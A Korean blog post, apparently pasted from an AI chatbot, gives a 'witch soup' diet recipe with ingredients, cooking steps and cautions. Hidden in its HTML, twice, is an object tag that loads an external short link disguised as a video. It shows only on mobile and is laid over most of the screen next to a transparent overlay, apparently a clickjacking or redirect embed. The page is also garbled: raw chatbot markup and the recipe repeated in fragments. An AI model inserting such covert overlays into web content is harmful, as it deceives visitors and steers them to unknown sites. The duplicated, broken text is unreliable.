마녀스프 레시피 재료 새해 다이어트 음식 만들기

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3b" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c2700843290="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:36">마녀스프 레시피: 새해 다이어트, 건강하게 시작하기! ‍♀️</h2><p data-sourcepos="3:1-3:121">새해 다이어트를 결심하셨나요? 맛있으면서도 건강하게 체중 관리를 할 수 있는 마법 같은 스프, 마녀 스프를 소개합니다! 다양한 채소가 가득 들어있어 포만감은 높이고 칼로리는 낮춰 든든하게 한 끼를 해결할 수 있어요.</p><p data-sourcepos="5:1-5:13"><strong>마녀 스프의 효과</strong></p><ul data-sourcepos="7:1-10:0"> <li data-sourcepos="7:1-7:62"><strong>다이어트:</strong> 풍부한 식이섬유가 포만감을 높여줘 과식을 막고, 칼로리가 낮아 체중 감량에 도움을 줍니다.</li> <li data-sourcepos="8:1-8:55"><strong>건강:</strong> 다양한 채소를 섭취하여 비타민과 미네랄을 보충하고, 신체의 면역력을 강화시킵니다.</li> <li data-sourcepos="9:1-10:0"><strong>해독:</strong> 체내 노폐물 배출을 촉진하여 몸을 가볍게 만들어줍니다.</li> </ul><p data-sourcepos="11:1-11:13"><strong>마녀 스프 만들기</strong></p><p data-sourcepos="13:1-13:16"><strong>재료 (4인분 기준):</strong></p><ul data-sourcepos="15:1-25:0"> <li data-sourcepos="15:1-15:7">양파 2개</li> <li data-sourcepos="16:1-16:7">당근 2개</li> <li data-sourcepos="17:1-17:8">샐러리 1대</li> <li data-sourcepos="18:1-18:8">토마토 4개</li> <li data-sourcepos="19:1-19:10">양배추 1/4통</li> <li data-sourcepos="20:1-20:7">마늘 3쪽</li> <li data-sourcepos="21:1-21:8">올리브 오일</li> <li data-sourcepos="22:1-22:11">소금, 후추 약간</li> <li data-sourcepos="23:1-23:8">물 1.5L</li> <li data-sourcepos="24:1-25:0">(선택) 고추, 파프리카, 버섯 등 좋아하는 채소 추가</li> </ul><p data-sourcepos="26:1-26:10"><strong>만드는 법:</strong></p><ol data-sourcepos="28:1-32:0"> <li data-sourcepos="28:1-28:41"><strong>준비:</strong> 모든 채소를 깨끗이 씻고 먹기 좋은 크기로 썰어줍니다.</li> <li data-sourcepos="29:1-29:65"><strong>볶기:</strong> 냄비에 올리브 오일을 두르고 양파와 마늘을 볶다가 향이 나면 나머지 채소를 넣고 함께 볶아줍니다.</li> <li data-sourcepos="30:1-30:76"><strong>끓이기:</strong> 물을 붓고 소금, 후추로 간을 맞춘 후 센 불에서 끓이다가 끓어오르면 약불로 줄여 30분 이상 뭉근하게 끓여줍니다.</li> <li data-sourcepos="31:1-32:0"><strong>완성:</strong> 채소가 부드럽게 익으면 불을 끄고 기호에 따라 후추나 허브를 추가하여 풍미를 더해줍니다.</li> </ol><p data-sourcepos="33:1-33:18"><strong>마녀 스프 다양하게 즐기기</strong></p><ul data-sourcepos="35:1-38:0"> <li data-sourcepos="35:1-35:36"><strong>아침:</strong> 빵이나 크래커와 함께 가볍게 즐길 수 있습니다.</li> <li data-sourcepos="36:1-36:56"><strong>점심:</strong> 닭가슴살이나 계란 등 단백질 식품과 함께 곁들여 든든한 한 끼를 만들 수 있습니다.</li> <li data-sourcepos="37:1-38:0"><strong>저녁:</strong> 저녁 식사 대용으로 따뜻하게 마시면 포만감을 느낄 수 있습니다.</li> </ul><p data-sourcepos="39:1-39:20"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4a44c02c00b6c73d&quot;,&quot;c_c5744b0151e0b125&quot;,null,&quot;rc_36dba58a95aa8f76&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/7020957"><span _ngcontent-ng-c579620128="" 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gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마녀 스프 </div></div></single-image></response-element></div></span></p><p data-sourcepos="41:1-41:15"><strong>마녀 스프 레시피 팁</strong></p><ul data-sourcepos="43:1-46:0"> <li data-sourcepos="43:1-43:51"><strong>채소:</strong> 어떤 채소든 좋아하는 종류를 넣어 자신만의 마녀 스프를 만들 수 있습니다.</li> <li data-sourcepos="44:1-44:55"><strong>양념:</strong> 소금, 후추 외에도 카레 가루, 고춧가루 등을 넣어 다양한 맛을 낼 수 있습니다.</li> <li data-sourcepos="45:1-46:0"><strong>보관:</strong> 남은 스프는 밀폐용기에 담아 냉장 보관하고, 데워 먹을 때는 채소를 추가하여 먹으면 더욱 맛있습니다.</li> </ul><p data-sourcepos="47:1-47:8"><strong>주의사항</strong></p><ul data-sourcepos="49:1-51:0"> <li data-sourcepos="49:1-49:45">마녀 스프는 다이어트 식단의 일부일 뿐, 모든 영양소를 공급해주지는 않습니다.</li> <li data-sourcepos="50:1-51:0">건강 상태에 따라 제한해야 할 식품이 있을 수 있으므로, 전문가와 상담 후 섭취하는 것이 좋습니다.</li> </ul><p data-sourcepos="52:1-52:37">새해에는 마녀 스프와 함께 건강하고 활기찬 생활을 시작해 보세요!</p><p data-sourcepos="54:1-54:32"><strong>#마녀스프 #다이어트 #건강식단 #레시피 #새해다짐</strong></p><p data-sourcepos="56:1-56:26"><strong>궁금한 점이 있다면 언제든지 물어보세요!</strong></p><p data-sourcepos="58:1-59:27"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" 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있습니다.</li> <li data-sourcepos="65:1-65:65">마녀 스프는 다이어트에 도움이 될 수 있지만, 단기간에 체중 감량을 기대하기보다는 꾸준히 섭취하는 것이 좋습니다.</li> <li data-sourcepos="66:1-67:0">건강한 다이어트를 위해서는 균형 잡힌 식단과 규칙적인 운동을 병행하는 것이 중요합니다.</li> </ul><p data-sourcepos="68:1-68:53"><strong>더 많은 정보를 원하시면 '마녀 스프'를 하여 다양한 레시피와 후기를 확인해 보세요.</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3b" 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data-sourcepos="13:1-13:16"><strong>재료 (4인분 기준):</strong></p><ul data-sourcepos="15:1-25:0"> <li data-sourcepos="15:1-15:7">양파 2개</li> <li data-sourcepos="16:1-16:7">당근 2개</li> <li data-sourcepos="17:1-17:8">샐러리 1대</li> <li data-sourcepos="18:1-18:8">토마토 4개</li> <li data-sourcepos="19:1-19:10">양배추 1/4통</li> <li data-sourcepos="20:1-20:7">마늘 3쪽</li> <li data-sourcepos="21:1-21:8">올리브 오일</li> <li data-sourcepos="22:1-22:11">소금, 후추 약간</li> <li data-sourcepos="23:1-23:8">물 1.5L</li> <li data-sourcepos="24:1-25:0">(선택) 고추, 파프리카, 버섯 등 좋아하는 채소 추가</li> </ul><p data-sourcepos="26:1-26:10"><strong>만드는 법:</strong></p><ol data-sourcepos="28:1-32:0"> <li data-sourcepos="28:1-28:41"><strong>준비:</strong> 모든 채소를 깨끗이 씻고 먹기 좋은 크기로 썰어줍니다.</li> <li data-sourcepos="29:1-29:65"><strong>볶기:</strong> 냄비에 올리브 오일을 두르고 양파와 마늘을 볶다가 향이 나면 나머지 채소를 넣고 함께 볶아줍니다.</li> <li data-sourcepos="30:1-30:76"><strong>끓이기:</strong> 물을 붓고 소금, 후추로 간을 맞춘 후 센 불에서 끓이다가 끓어오르면 약불로 줄여 30분 이상 뭉근하게 끓여줍니다.</li> <li data-sourcepos="31:1-32:0"><strong>완성:</strong> 채소가 부드럽게 익으면 불을 끄고 기호에 따라 후추나 허브를 추가하여 풍미를 더해줍니다.</li> </ol><p data-sourcepos="33:1-33:18"><strong>마녀 스프 다양하게 즐기기</strong></p><ul data-sourcepos="35:1-38:0"> <li data-sourcepos="35:1-35:36"><strong>아침:</strong> 빵이나 크래커와 함께 가볍게 즐길 수 있습니다.</li> <li data-sourcepos="36:1-36:56"><strong>점심:</strong> 닭가슴살이나 계란 등 단백질 식품과 함께 곁들여 든든한 한 끼를 만들 수 있습니다.</li> <li data-sourcepos="37:1-38:0"><strong>저녁:</strong> 저녁 식사 대용으로 따뜻하게 마시면 포만감을 느낄 수 있습니다.</li> </ul><p data-sourcepos="39:1-39:20"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" 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마녀 스프를 만들 수 있습니다.</li> <li data-sourcepos="44:1-44:55"><strong>양념:</strong> 소금, 후추 외에도 카레 가루, 고춧가루 등을 넣어 다양한 맛을 낼 수 있습니다.</li> <li data-sourcepos="45:1-46:0"><strong>보관:</strong> 남은 스프는 밀폐용기에 담아 냉장 보관하고, 데워 먹을 때는 채소를 추가하여 먹으면 더욱 맛있습니다.</li> </ul><p data-sourcepos="47:1-47:8"><strong>주의사항</strong></p><ul data-sourcepos="49:1-51:0"> <li data-sourcepos="49:1-49:45">마녀 스프는 다이어트 식단의 일부일 뿐, 모든 영양소를 공급해주지는 않습니다.</li> <li data-sourcepos="50:1-51:0">건강 상태에 따라 제한해야 할 식품이 있을 수 있으므로, 전문가와 상담 후 섭취하는 것이 좋습니다.</li> </ul><p data-sourcepos="52:1-52:37">새해에는 마녀 스프와 함께 건강하고 활기찬 생활을 시작해 보세요!</p><p data-sourcepos="54:1-54:32"><strong>#마녀스프 #다이어트 #건강식단 #레시피 #새해다짐</strong></p><p data-sourcepos="56:1-56:26"><strong>궁금한 점이 있다면 언제든지 물어보세요!</strong></p><p data-sourcepos="58:1-59:27"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" 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</div></div></single-image></response-element></div></span></p><hr data-sourcepos="61:1-61:3"><p data-sourcepos="62:1-62:7"><strong>참고:</strong></p><ul data-sourcepos="64:1-67:0"> <li data-sourcepos="64:1-64:56">위 레시피는 일반적인 마녀 스프 레시피이며, 개인의 취향에 따라 재료와 양을 조절할 수 있습니다.</li> <li data-sourcepos="65:1-65:65">마녀 스프는 다이어트에 도움이 될 수 있지만, 단기간에 체중 감량을 기대하기보다는 꾸준히 섭취하는 것이 좋습니다.</li> <li data-sourcepos="66:1-67:0">건강한 다이어트를 위해서는 균형 잡힌 식단과 규칙적인 운동을 병행하는 것이 중요합니다.</li> </ul><p data-sourcepos="68:1-68:53"><strong>더 많은 정보를 원하시면 '마녀 스프'를 하여 다양한 레시피와 후기를 확인해 보세요.</strong></p></div> </div></div>